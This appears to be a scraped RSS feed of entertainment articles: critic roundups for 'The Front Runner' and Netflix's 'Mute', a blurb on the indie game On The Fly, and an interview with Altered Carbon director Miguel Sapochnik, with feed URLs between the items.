  • You can find more about all the stories we mentioned on today’s show at slashfilm.com, and linked inside the show notes.
  • /Film Daily is published every weekday, bringing you the most exciting news from the world of movies and television as well as deeper dives into the great features from slashfilm.com.
  • You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (RSS).
  • Send your feedback, questions, comments and concerns to us at peter@slashfilm.com. Please leave your name and general geographic location in case we mention the e-mail on the air.
  • Please rate and review the podcast on iTunes, tell your friends and spread the word!
  • Thanks to Sam Hume for our logo.

The post Daily Podcast: Tarantino’s Star Trek, Rian Johnson’s Next Film, Die Hard 6, Suspiria, Front Runner, Cronenberg, appeared first on /Film.

]]> https://briefnews.eu/daily-podcast-tarantinos-star-trek-rian-johnsons-next-film-die-hard-6-suspiria-front-runner-cronenberg/feed/ 0 ‘The Front Runner’ Early Buzz: Hugh Jackman is Oscar Worthy in Robert Altman-esque Political Drama https://briefnews.eu/the-front-runner-early-buzz-hugh-jackman-is-oscar-worthy-in-robert-altman-esque-political-drama/ https://briefnews.eu/the-front-runner-early-buzz-hugh-jackman-is-oscar-worthy-in-robert-altman-esque-political-drama/#respond Sun, 02 Sep 2018 02:01:08 +0000 http://briefnews.eu/the-front-runner-early-buzz-hugh-jackman-is-oscar-worthy-in-robert-altman-esque-political-drama/ The Front Runner Reviews

This weekend the Telluride Film Festival is getting a sneak peek at some of the movies that will be hitting the festival circuit in the coming weeks. A good amount of them had already debuted at the Venice Film Festival this past week, but one that we hadn’t yet heard anything about yet was the political drama The Front Runner, directed by Jason Reitman and starring Hugh Jackman. That changed today.

After the first trailer for The Front Runner debuted earlier this week, audiences got to see Hugh Jackman in action as the leading candidate for President of the United States of America as the nominee for the Democratic party in 1988 who destroyed his chances at victory with a little scandal. So what do the first reactions out of Telluride have to say? Find out below.

The Front Runner Reactions

Since Telluride is a much smaller film festival in the mountains of Telluride, Colorado, there aren’t tons of press up there like when the Sundance Film Festival unfolds in Utah. But there are still some brief reactions to take note of from critics and audience members. Most of them are very complimentary, but there are some shortcomings to be noted:

The Front Runner Reviews

The Front Runner Reviews

Meanwhile, the first reviews dig a little deeper into the movie and have some nitpicking to do, but mostly have positive things to say about the timely film.

David Ehrlich at IndieWire wasn’t very impressed with the film:

Judging by Jason Reitman’s lucid but lifeless attempt to dramatize the final weeks of his campaign, Hart’s scandal was the beginning of the end for political discourse in this country. The film takes that fact for granted. The twin questions that drive “The Front Runner” from its Altman-esque first shot to its whimper of an ending are more complex and open-ended than that: To what degree was the fallout Hart’s fault, and what role do the media (and the American people) play in the supposed degradation of our national priorities?

In Reitman’s hands — which are confident and clumsy in equal measure — these hefty matters play out as a mordant political comedy that tries to split the difference between “Veep” and “All the President’s Men.” That’s a tough needle to thread, and it doesn’t take long before “The Front Runner” throws in the towel on that idea. After an energetic and character-driven first act, the movie dulls into a talky civics debate that flattens every member of its massive cast into lame totems for the respective ideas each of them is meant to represent.

Stephen Farber at The Hollywood Reporter writes:

This film, adapted from Matt Bai’s book about the Hart campaign, is both provocative and somewhat disappointing.

The film never quite clarifies its own attitude toward Hart. It simply doesn’t spend enough time with him to allow the audience to decide whether he was a truly transformative politician undone by tabloid reporters or just another slick operator. This robs the film of a tragic dimension that it might have achieved.

Nevertheless, given the limitations of the role, Jackman delivers one of his finest performances. He allows us to see the character’s charisma and essential decency, along with a certain solipsism that has undone many leaders.

Sasha Stone over at The Wrap threw some compliments at the movie:

This is Reitman’s second film this year, after “Tully,” with Charlize Theron beating back postpartum depression. Though the director is known for taking risks and sometimes failing, pulling off these two very different films in the same year is be applauded.

Reitman is more in his element with “The Front Runner,” especially in the film’s first half, as we dive into what politics was like in 1988. The film has to manage disparate elements in its second half, like the Harts’ strained marriage due consideration alongside the political turmoil.

To its credit, “The Front Runner” doesn’t send us out the door with any easy solutions. It doesn’t tell us how we should feel or pretend to know all the answers. For some, that might be frustrating, but “The Front Runner” delivers more than enough provocative material to make it a wild, occasionally hopeful, often depressing ride.

Gregory Ellwood over at The Playlist walked away mostly satisfied:

Reitman chronicles this sprawling opera by taking a layered and ensemble-heavy page from legendary director Robert Altman. Yes, Jackman’s impressive portrayal of Hart is at the center of “The Front Runner” (it’s one of the best performances of his career), but Reitman uses a large cast of characters to give depth to the events in question. Beyond the aforementioned Farminga, Paxton and Athie, Jackman is surrounded by notable performers such as J.K. Simmons as his disheartened campaign manager, Alfred Molina as the editor of the Post, Ari Graynor as Post reporter Ann Devroy, Steve Zissis as an Herald reporter in over his head, Molly Ephraim as a member of the senior campaign staff sympathetic to Rice, Kevin Pollack as the editor of the Herald who eventually comes in direct conflict with Hart, and both Josh Brenner and Alex Karpovsky as campaign advisors, among others. Similarly to Mike Leigh‘s “Peterloo,” also screening at Telluride, Reitman finds moments for them all to shine.

He also employs Altman’s technique of panning across a scene without cutting and zooming in on one conversation, pulling back and then focusing on another. It’s a new ground for the “Up In The Air” director and you often wish there were more opportunities in the film for him to use it. When a scene is constructed in a conventional manner the film often lacks the same energy and stylistically feels flat. In those moments, it’s that exceptional cast that keeps you engaged even if you’re well-aware of Hart’s fate.

***

The early buzz for The Front Runner sounds mostly good so far. There are some negative reactions who aren’t all that impressed with the movie, but it seems like Hugh Jackman is at least being universally praised for his performance, even if some think it’s not enough to make the movie more compelling. Even so, this sounds like a timely and relevant movie for our currently political climate, especially with the #MeToo movement happening at the same time.

The Front Runner will start hitting theaters on November 7, 2018.

The post ‘The Front Runner’ Early Buzz: Hugh Jackman is Oscar Worthy in Robert Altman-esque Political Drama appeared first on /Film.

]]> https://briefnews.eu/the-front-runner-early-buzz-hugh-jackman-is-oscar-worthy-in-robert-altman-esque-political-drama/feed/ 0 On The Fly Mixes Runner & Dating Sim For Fast-Paced Bird Romance https://briefnews.eu/on-the-fly-mixes-runner-dating-sim-for-fast-paced-bird-romance/ https://briefnews.eu/on-the-fly-mixes-runner-dating-sim-for-fast-paced-bird-romance/#respond Mon, 30 Apr 2018 10:28:08 +0000 http://briefnews.eu/on-the-fly-mixes-runner-dating-sim-for-fast-paced-bird-romance/ onTheFly_header.jpg

There couldn’t be a more beautiful setting for a romance between feathered friends than a rusty kettle drifting down a creek. In On The Fly, players will guide a crow and sparrow down a winding river, helping them stay fed and grow closer to one another through dialogue choices. With local co-op, perhaps that romance might spread to more than just this avian couple, too.

Two birds, two empty stomachs, one kettle, and a forbidden love. One player will be in charge of steering the kettle down the river as the other snaps up snacks. Don’t get too gluttonous, though! You’ll have to keep an eye on your hunger meter to make sure you share the treats by changing roles once in a while.

As you drift down the current, take in the scenery and bask in your partner’s company. Players can enjoy light conversation between crow and sparrow while keeping on course, choosing from various speech options that may grow the connection between the two birds depending on your choices. By saying the right thing, your love may just flourish in the end.

You can find On The Fly on Itch.io here. You can also follow the developers, Rebecca Kremer, and Joshua Hurd on Twitter!

]]> https://briefnews.eu/on-the-fly-mixes-runner-dating-sim-for-fast-paced-bird-romance/feed/ 0 ‘Mute’ Review Round-Up: A ‘Blade Runner’ Wannabe With Nothing to Say https://briefnews.eu/mute-review-round-up-a-blade-runner-wannabe-with-nothing-to-say/ https://briefnews.eu/mute-review-round-up-a-blade-runner-wannabe-with-nothing-to-say/#respond Fri, 23 Feb 2018 15:58:52 +0000 http://briefnews.eu/mute-review-round-up-a-blade-runner-wannabe-with-nothing-to-say/ mute reviews

In 2009, Moon put Duncan Jones on the map as one of the most intriguing and promising new directors working today. His debut gave Jones the opportunity to direct the modestly received, star-studded Source Code and the poorly received, big-budget Warcraft. But most importantly, it paved the way for a passion project 16 years in the making. And thanks to Netflix, Jones finally was able to bring that passion project to life. But was it worth the wait?

Probably not, according to the early reviews of Mute, Jones’ glossy cyberpunk science-fiction film starring Alexander Skarsgard as a mute bartender waging war against future city gangsters.

See what critics have to say about Mute.

/Film’s own review of Mute by Chris Evangelista expressed hope that Mute would “rekindle his cinematic magic” that he first showed so brilliantly in Moon, but the Netflix film ended up being a major disappointment:

Instead, Mute is a disjointed, nihilistic trip through two distinct storylines that have almost nothing to do with each other – save for the fact that they inhabit the same world. Slowly, these storylines do come together, but never in a convincing or satisfying way. The end result is a frustrating film – one loaded with potential, but lacking distinction.

Variety’s Peter DeBruge admits that Mute is “undeniably dazzling in the visual department” but is ultimately a “gimmicky” noir with nothing interesting to say:

What is Jones trying to say with “Mute”? One would hardly guess this over-congested generic exercise came from the same mind as the elegant, almost minimalistic “Moon,” which made far better use of all that went unsaid. As if intending to untangle its many mixed messages, “Mute” ends with a dedication to the director’s recently deceased mom and dad, Marion Skene and David Jones (better known to the world as David Bowie), although its feelings on the subject of parenthood seem deeply conflicted, at best. And yet, Netflix has given Jones the resources to express himself. If only he had done the same for his characters.

IGN‘s David Griffin praised Paul Rudd and Justin Theroux’s performances, but not much else:

Netflix’s Mute, which is now available to stream, fails to achieve the heights of other successful entries within the cyberpunk genre like Ridley Scott’s Blade Runner and even newcomer Altered Carbon. It’s like someone went to a science fiction-themed Home Depot, picked out all the right parts but forgot the most important piece back in aisle 7…the story.

Sheri Linden with The Hollywood Reporter says that Mute “feels like a hyperactive pop culture pastiche,” relying on homages to Blade Runner and other great sci-fi:

The feature, which is receiving a limited theatrical platform as it begins streaming, is richly imagined and well played by a cast of movie stars and intriguing new faces. But the handsomely downbeat atmospherics overwhelm its themes of love, parenthood, crime and punishment. The narrative doesn’t quite coalesce, and except for a few late-in-the-proceedings moments, it doesn’t deliver the grim, indelible shivers of the best noir.

Charles Bramesco at The Guardian said that Netflix and Jones’ collaboration was yet another strike against the streaming service:

The problem is that Jones couldn’t hold up his end of the bargain and deliver work that rates even as “interesting”, the last salvation of flagrantly terrible movies. (How his post-digital Berlin could simultaneously look so expensive and so cheap may be a Zen riddle.) Instead, most disappointingly of all, the volleys of overindulgent inertia mount a convincing argument against the very class of release in sadly short supply at present. Watching Jones passively bob in the deep end of his imagination, a viewer longs for the compulsory baseline competence of the big studios – anything but the blandness masquerading as future cult bait.

The Playlist‘s Andrew Crump calls Mute “a Blade Runner wannabe” that “lacks mystery and depth”:

There’s an unearned confidence in “Mute.” It’s the kind of self-satisfied movie that, rather than fixing its POV and structural issues, believe it’s clever to put a winky reference to “Moon” in its background because it’s 2018 and everything has to exist in a shared universe for no reason other than Marvel did it. If nothing else “Mute” takes better aim at exploring deep, personal, human experiences as shaped by a tech-centric culture, making it of a piece with the expectations Jones set for himself in 2009. But this has the unintended consequence of making overt connections to “Moon” all the more puzzling. Blame Hollywood’s franchise industrial complex. Blame Jones, too. For a movie that’s been stuck in development hell for ages, “Mute” feels like a first draft begging for focus.

Michael Rougeau at GameSpot calls Mute a “plodding, meandering” movie along with a litany of equally derisive adjectives:

From Netflix and Duncan Jones, Mute promised to be a return to form for the director and writer behind the instant classic 2009 mind-bender Moon (and, more recently, the less-than-classic Warcraft). Unfortunately, Mute is a cartoonish, nonsensical, tone-deaf, derivative, outrageously awful nightmare without a single redeeming quality. Bummer, right?

Den of Geek‘s Ryan Lambie says Mute is a “left-field, downbeat thriller”:

After the humanistic, deeply moving Moon and the taut thrills of Jones’ second film, Source Code, Mute comes as something of a surprise. Not just because of the grotesque proclivities of its characters, but also because its pacing feels so slack. Nevertheless, Jones is a talented director, and there are moments when the brilliance of Moon shines through: the opening shot has an eerie, dreamlike quality; his more intimate moments with Leo showcase his ability to impart a sense of character with lighting and cinematography rather than words. Clint Mansell’s low-key, murmuring score also matches the story’s increasingly dour mood.

The Wrap‘s Robert Abele calls Mute a “dull, empty exercise in crime, grime and slime,” adding:

A dystopian noir that’s neither especially compelling as a vision of the future nor as a hard-bitten mystery — much less as a quirky tale about a woodwork-gifted anti-hero — its arrival on Netflix this weekend suggests that the content-ravenous streaming service add a new category alongside “Trending Now” and “See It Again”: “Because You Literally Have Nothing Else To Watch.”

Film School Rejects‘ Rob Hunter praised Mute‘s visual style and tone, saying that Jones “succeeds better than most in dropping both characters and audiences into a believable and fully-functioning world.” Hunter had the most positive review, adding:

Mute is ultimately an engaging story about human foibles and frailties set against a sci-fi backdrop, and while it may not be something to shout about it’s definitely worth an indoor-voiced cheer.

***

Mute is currently available to stream on Netflix.

The post ‘Mute’ Review Round-Up: A ‘Blade Runner’ Wannabe With Nothing to Say appeared first on /Film.

]]> https://briefnews.eu/mute-review-round-up-a-blade-runner-wannabe-with-nothing-to-say/feed/ 0 Mute movie reviews are TERRIBLE – ‘BAD Blade Runner’ is ‘a PUNISHING watch’ https://briefnews.eu/mute-movie-reviews-are-terrible-bad-blade-runner-is-a-punishing-watch/ https://briefnews.eu/mute-movie-reviews-are-terrible-bad-blade-runner-is-a-punishing-watch/#respond Fri, 23 Feb 2018 13:24:28 +0000 http://briefnews.eu/mute-movie-reviews-are-terrible-bad-blade-runner-is-a-punishing-watch/

The latest Netflix original movie is available to stream today, but just like The Cloverfield Paradox before it, the critics aren’t impressed.

Jones’ Mute currently has just 8% positive reviews on Rotten Tomatoes.

Starring Alexander Skarsgard, Paul Rudd and Justin Theroux, the sci-fi noir is set in 2058 Berlin where a mute bartender searches for his missing girlfriend.

Here are a selection of the critics’ reactions so far:

Daily Telegraph
Somewhere in here a reasonable film exists, but Mute is rather less than the sum of its parts.

The Guardian
Skårsgard simply occupies space onscreen. If acting is music, he is noise, a series of vaguely related sounds.

Hollywood Reporter
The narrative doesn’t quite coalesce, and except for a few late-in-the-proceedings moments, it doesn’t deliver the grim, indelible shivers of the best noir.

Variety
What is Jones trying to say with “Mute”? One would hardly guess this over-congested generic exercise came from the same mind as the elegant, almost minimalistic “Moon,” which made far better use of all that went unsaid.

LA Times
Jones reportedly conceived of the film years ago. However, as the story evolved and took on more emotional themes he never found the right balance between the sentimental and the hard-boiled.

Popular Mechanics
Mute is a punishing watch.

The Wrap
Its arrival on Netflix this weekend suggests that the content-ravenous streaming service add a new category alongside “Trending Now” and “See It Again”: “Because You Literally Have Nothing Else To Watch.”

Screen Rant
Mute is a middle of the road sci-fi/Noir offering that resembles a lower-grade version of the actual Blade Runner sequel that came out last year, Blade Runner 2049. Jones spent several years working on the project, but the final movie result feels like an intriguing concept that he simply wasn’t able to realize as fully.

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]]> https://briefnews.eu/mute-movie-reviews-are-terrible-bad-blade-runner-is-a-punishing-watch/feed/ 0 ‘Altered Carbon’ Director Miguel Sapochnik on His Influences, Imagining the Future, and ‘Blade Runner’ [Interview] https://briefnews.eu/altered-carbon-director-miguel-sapochnik-on-his-influences-imagining-the-future-and-blade-runner-interview/ https://briefnews.eu/altered-carbon-director-miguel-sapochnik-on-his-influences-imagining-the-future-and-blade-runner-interview/#respond Fri, 16 Feb 2018 22:50:03 +0000 http://briefnews.eu/altered-carbon-director-miguel-sapochnik-on-his-influences-imagining-the-future-and-blade-runner-interview/ miguel sapochnik interview

Over the past few years, Miguel Sapochnik has been directing some of the most exciting episodes on television. Sapochnik’s Game of Thrones episodes, “Hardhome” and “Battle of the Bastards,” are unforgettable and earned him a well-deserved Emmy. Before returning for the final season of that HBO series, the director (who has also helmed episodes of House and True Detective) worked on one of Netflix’s newest and biggest shows, Altered Carbon, an adaptation from showrunner Laeta Kalogridis (Shutter Island).

Sapochnik directed the first episode of the 10-episode science-fiction series, which gave him the opportunity to visualize the world 300 years into the future, shoot some brutal action, and help get the ball rolling on a noir mystery. In a recent email interview with Sapochnik, he told us about his approach to showing the future, why Blade Runner is so seminal to filmmakers, his favorite action directors, and more.

With the first episode, you had the chance to help establish the world. Visually, how did you want to make the world believable and tangible?

I should start by saying that we didn’t really follow that kind of process on AC. I never looked at it as an attempt to come up with a tangible or credible version of the future. It’s a very stylized future that seemed appropriate to the kind of story Laeta wanted to tell.

To my mind, any story set that far in the future requires some creative license and a certain suspension of disbelief.

There were certainly many long conversations about the rules of the world we were creating; mainly concerning the different kinds of evolution in technology that we felt were appropriate (or could afford). Because we wanted to work within the framework of film noir, for example, there was a long and protracted attempt at making self-lighting cigarettes. It was eventually abandoned because it’s just not as easy as one might think to make a prop cigarette that lights itself and can be smoked safely in a single shot. We did make them, but the practical ones were unreliable or very expensive to remove the lighting mechanism digitally. And being that our main character smoked a lot (at least he did in the pilot script), it became one of those things that while it seemed like a natural evolution of technology, it didn’t really work for our show.

The world is incredibly detailed. In the first episode are there any subtle background details that you think make the world feel more lived-in?

I was particularly interested in how the alien tech used to build the stacks and the meth towers had adapted to our civilization or -as I saw it- infected the human environment. We spent a lot of time looking at architectural design and how organic metal forms could create a web of sorts and weave in and out of our existing and human structures. The ‘web’ on the stack itself was meant to appear in various forms throughout the city and on a variety of scales. Carey Meyer, our production designer and I spent quite some time weaving this into the general design of the city.

For Altered Carbon, what were your influences? Any film noir?

It’s sci-fi film noir. Visually it’s Blade Runner, Out of the Past, Blue Valentine. We looked at LA Confidential, Only God Forgives, and Enter the Void for inspiration. I like to divide my influences into visual, tonal and character. On this, I thought a lot about Martin Sheen in Apocalypse Now as my character ref for Kovacs.

Whenever there are neon lights and rainy streets in a sci-fi story, there’s almost always comparisons made to Blade Runner or cyberpunk movies. How much do you have to consider what audiences have seen before while working on a project like Altered Carbon?

I think you have to consider the stories that have existed before yours whenever you tell one. But you also have to just get on with it. Blade Runner is a seminal film for many in my generation of filmmakers. It didn’t just predict the future: it showed it. Making a sci-fi noir without owing something to Blade Runner isn’t really possible because Ridley was dead on target. Frankly, I’m just pleased to have anything I do mentioned in the same sentence as that film, for better or for worse. That said, we did try to do something different or at least something we felt was a spin on what has gone before us. It was a fun challenge and more successful in some areas than in others. Laeta brought a strong gothic influence to Altered Carbon and Martin Ahlgren, my DOP, brought a fantastic color palette that was far less restricted than the usual dark sci-fi noir.

You’ve previously said one of your biggest fears as a director is “everything is taking too long on camera.” With Altered Carbon, what were some of your biggest fears?

The raven not wanting to fly. The flying car breaking down and the bad guys looking silly. Have to admit I liked the way the bad guys turned out (thanks, [costume designer] Ann Foley) in the end and luckily the car never broke down because it couldn’t fly in the first place.

When it comes to worldbuilding or directing in general, were there any lessons you learned from Repo Men that you brought to Altered Carbon? I remember with that film you wanted to shoot more scenes outdoors with characters on the move, which there’s quite a bit of in Altered Carbon.

Tons but that’s another interview.

When you’re depicting violence and have more freedom working with companies like Netflix or HBO, do you often question what you can or maybe should show?

As far as on screen violence is concerned I always try to do a plus five and minus five version, so we can decide in the edit room what we want to show and at what point. When depicting violence on screen, I think it is important to understand why you are choosing to do it at that particular moment. Asking myself simple questions, like, how does it move the story forward? Or is it in keeping with the tone of the piece? This helps me decide what level of violence and how much of it I leave in or take out.

You have a background as a storyboard artist. How do you think that experience helped shape you as a filmmaker? How much did you storyboard for Altered Carbon?

Not a lot. We did the flying car scene. Being a storyboard artist greatly influenced my career as a director, but that’s because storyboarding was my only way to direct when I didn’t have the resources to actually make anything. Still is.

Like your past action, the set pieces in Altered Carbon are very physical and rely on practical effects and stunts. Are there any action filmmakers you’re particularly inspired by? 

Paul Greengrass, the Coen brothers (I know they don’t do ‘action,’ but their action is always pretty intense).

Was there one scene in Altered Carbon that presented more challenges than the others?

The opening one where Kovacs wakes up. Joel had to be naked and covered in goo all day. I felt for him, but he didn’t really seem to mind!

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Altered Carbon is now available to stream on Netflix.

The post ‘Altered Carbon’ Director Miguel Sapochnik on His Influences, Imagining the Future, and ‘Blade Runner’ [Interview] appeared first on /Film.

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